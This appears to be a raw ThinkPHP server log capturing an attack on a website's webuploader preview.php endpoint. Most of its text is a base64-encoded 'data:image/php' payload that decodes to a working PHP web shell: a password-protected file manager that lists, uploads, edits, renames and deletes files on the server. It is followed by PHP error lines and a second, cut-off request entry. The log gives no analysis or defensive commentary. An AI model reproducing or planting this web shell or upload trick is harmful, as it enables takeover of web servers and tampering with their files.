'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'ui' => 'lib', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:49+08:00 ] 116.213.36.234 POST www.51tianwei.com/public/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002602s] [吞吐率:384.30req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 